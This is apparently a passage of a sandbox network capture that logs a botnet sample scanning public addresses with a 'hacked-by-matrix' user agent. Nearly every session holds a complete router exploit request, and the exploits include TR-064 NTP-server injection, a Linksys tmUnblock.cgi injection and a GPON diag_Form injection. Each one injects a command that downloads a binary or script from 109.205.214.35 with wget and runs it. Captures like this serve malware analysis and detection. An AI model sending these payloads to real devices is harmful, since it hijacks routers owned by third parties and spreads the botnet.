Mar 21, 2024 05:26:58.821101904 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:59.107585907 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:58 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1488	192.168.2.23	39976	200.125.73.67	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.250561953 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1489	192.168.2.23	54518	172.65.40.27	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.269798040 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1490	192.168.2.23	52726	212.39.42.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406516075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1491	192.168.2.23	53110	118.82.236.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406528950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1492	192.168.2.23	36544	210.156.228.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406536102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1493	192.168.2.23	52930	118.68.11.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406543970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1494	192.168.2.23	39406	42.195.9.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406553984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1495	192.168.2.23	38726	2.183.179.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406620026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1496	192.168.2.23	36880	118.249.107.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406620026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1497	192.168.2.23	48754	118.53.230.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406640053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1498	192.168.2.23	49244	178.16.134.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406677961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1499	192.168.2.23	34022	94.136.194.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406682014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1500	192.168.2.23	44300	212.190.118.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406709909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1501	192.168.2.23	46572	5.203.195.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406709909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1502	192.168.2.23	55546	94.199.31.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406743050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1503	192.168.2.23	56320	212.234.225.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406768084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1504	192.168.2.23	50460	2.18.214.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406790018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1505	192.168.2.23	55710	94.188.198.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406841040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1506	192.168.2.23	56742	5.142.63.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406841993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1507	192.168.2.23	59790	109.27.225.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406867027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1508	192.168.2.23	33144	94.2.198.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406867981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1509	192.168.2.23	49592	212.95.245.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406887054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1510	192.168.2.23	52944	5.99.158.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:59.406889915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1511	192.168.2.23	58056	212.187.155.71	443

Timestamp	Bytes transferred	Direction	Data
